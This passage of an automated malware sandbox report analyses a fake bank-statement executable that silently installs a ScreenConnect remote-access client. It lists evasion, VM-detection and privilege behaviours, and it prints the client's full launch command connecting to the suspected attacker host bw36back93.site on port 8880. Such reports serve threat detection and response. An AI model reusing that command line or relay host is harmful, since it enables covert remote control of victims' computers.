Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Memory allocated: 6D60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Memory allocated: 7D60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Memory allocated: 6C30000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Memory allocated: 7FB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Memory allocated: 8FB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Memory allocated: 6C30000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Memory allocated: 16C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Memory allocated: 1DF0000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Memory allocated: 3DF0000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Memory allocated: 1560000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Memory allocated: 1B1C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Memory allocated: BB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Memory allocated: 1A580000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\SysWOW64\msiexec.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\Microsoft.Deployment.WindowsInstaller.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsCredentialProvider.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSI56A4.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\ScreenConnect.InstallerActions.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSI586B.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Core.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe TID: 7708 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe TID: 8116 Thread sleep count: 43 > 30 Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe TID: 7392 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\SysWOW64\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: ScreenConnect.ClientService.exe, 00000007.00000002.2987604310.0000000005420000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\msiexec.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process token adjusted: Debug Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 0.0.2024-11 eStmt 5563019.exe.acccf8.2.raw.unpack, Program.cs Reference to suspicious API methods: FindResource(moduleHandle, e.Name, "FILES")
Source: 0.2.2024-11 eStmt 5563019.exe.5580000.1.raw.unpack, NativeLibrary.cs Reference to suspicious API methods: LoadLibrary(type, assemblyTypeHint)
Source: 0.0.2024-11 eStmt 5563019.exe.647fd8.3.raw.unpack, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT | WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: 0.0.2024-11 eStmt 5563019.exe.647fd8.3.raw.unpack, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: 0.0.2024-11 eStmt 5563019.exe.647fd8.3.raw.unpack, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Source: 0.0.2024-11 eStmt 5563019.exe.647fd8.3.raw.unpack, WindowsExtensions.cs Reference to suspicious API methods: HandleMinder.CreateWithFunc(WindowsNative.OpenProcess(processAccess, bInheritHandle: false, processID), WindowsNative.CloseHandle)
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\d519fd2fdcfe66e7\setup.msi" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe "c:\program files (x86)\screenconnect client (d519fd2fdcfe66e7)\screenconnect.clientservice.exe" "?e=access&y=guest&h=bw36back93.site&p=8880&s=e250a80a-96da-47fd-91f2-1c092bc9b1b7&k=bgiaaackaabsu0exaagaaaeaaqbvrcwst%2b2ckthnas8wcpzwbkw7gylkqj6rdxijhv%2frvikga3ohvbuuk74ex5u2wdvyglxxustahste3rks8zw%2f5nmdmdz%2ffz%2fdadwqnva27wrdtbgeukyvimg%2bruqteybssalskc71pj4gqnardbnyswnxqnucohb8xkd6muqapufc4dxf0e7ewf1onytp%2bzz6ui1%2fvm3p0mitphdooydpjyjmnfl6as3%2bei4fxjkhopddjsishdmobgrn%2bwsllvtqzcpiqelo7sxadykptz0t1jf7brkqg2z6vshgz%2fal71%2ffvdi1kgsl2h5jlymzgmq6ew%2fozhqcdp4oy8sdbmw0&c=sv&c=11-11%20newp&c=&c=&c=&c=&c=&c="
Source: ScreenConnect.WindowsClient.exe, 00000008.00000000.1761037856.0000000000EB2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.WindowsClient.exe.2.dr Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000008.00000000.1761037856.0000000000EB2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.WindowsClient.exe.2.dr Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\msiexec.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\Microsoft.Deployment.WindowsInstaller.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\ScreenConnect.InstallerActions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Queries volume information: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B3431C2 CreateNamedPipeW, 8_2_00007FFD9B3431C2
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_016C4D68 RtlGetVersion, 7_2_016C4D68
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Yara detected ScreenConnect Tool
Source: Yara match File source: 2024-11 eStmt 5563019.exe, type: SAMPLE
Source: Yara match File source: 8.2.ScreenConnect.WindowsClient.exe.323f880.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.ScreenConnect.WindowsClient.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.2024-11 eStmt 5563019.exe.5860000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.0.2024-11 eStmt 5563019.exe.5c63d8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.2024-11 eStmt 5563019.exe.5860000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.0.2024-11 eStmt 5563019.exe.67024c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.0.2024-11 eStmt 5563019.exe.647fd8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.ScreenConnect.WindowsClient.exe.25ff8c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.0.2024-11 eStmt 5563019.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000000.1761037856.0000000000EB2000.00000002.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1729022620.0000000005860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2969214232.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000000.1703130673.00000000005C6000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1715569033.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1808808896.0000000002581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2024-11 eStmt 5563019.exe PID: 7688, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7880, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 8128, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7284, type: MEMORYSTR
Source: Yara match File source: C:\Config.Msi\6153c6.rbs, type: DROPPED
Source: Yara match File source: C:\Windows\Installer\MSI5684.tmp, type: DROPPED
Source: Yara match File source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1560600 Sample: 2024-11 eStmt 5563019.exe Startdate: 22/11/2024 Architecture: WINDOWS Score: 46 55 bw36back93.site 2->55 65 Multi AV Scanner detection for submitted file 2->65 67 .NET source code contains potential unpacker 2->67 69 .NET source code references suspicious native API functions 2->69 71 5 other signatures 2->71 8 ScreenConnect.ClientService.exe 2 5 2->8         started        12 msiexec.exe 93 51 2->12         started        15 2024-11 eStmt 5563019.exe 5 2->15         started        signatures3 process4 dnsIp5 57 bw36back93.site 176.123.1.130, 49731, 8880 ALEXHOSTMD Moldova Republic of 8->57 73 Reads the Security eventlog 8->73 75 Reads the System eventlog 8->75 17 ScreenConnect.WindowsClient.exe 3 8->17         started        20 ScreenConnect.WindowsClient.exe 2 8->20         started        35 ScreenConnect.Wind...dentialProvider.dll, PE32+ 12->35 dropped 37 C:\...\ScreenConnect.WindowsClient.exe, PE32 12->37 dropped 39 C:\...\ScreenConnect.ClientService.exe, PE32 12->39 dropped 43 9 other files (1 malicious) 12->43 dropped 77 Enables network access during safeboot for specific services 12->77 22 msiexec.exe 12->22         started        24 msiexec.exe 1 12->24         started        26 msiexec.exe 12->26         started        41 C:\Users\...\2024-11 eStmt 5563019.exe.log, CSV 15->41 dropped 79 Contains functionality to hide user accounts 15->79 28 msiexec.exe 6 15->28         started        file6 signatures7 process8 file9 61 Creates files in the system32 config directory 17->61 63 Contains functionality to hide user accounts 17->63 31 rundll32.exe 8 22->31         started        45 C:\Users\user\AppData\Local\...\MSI4E28.tmp, PE32 28->45 dropped signatures10 process11 file12 47 C:\Users\user\...\ScreenConnect.Windows.dll, PE32 31->47 dropped 49 C:\...\ScreenConnect.InstallerActions.dll, PE32 31->49 dropped 51 C:\Users\user\...\ScreenConnect.Core.dll, PE32 31->51 dropped 53 Microsoft.Deployme...indowsInstaller.dll, PE32 31->53 dropped 59 Contains functionality to hide user accounts 31->59 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
176.123.1.130
 bw36back93.site Moldova Republic of
200019 ALEXHOSTMD true

Contacted Domains

Name IP Active
bw36back93.site 176.123.1.130 true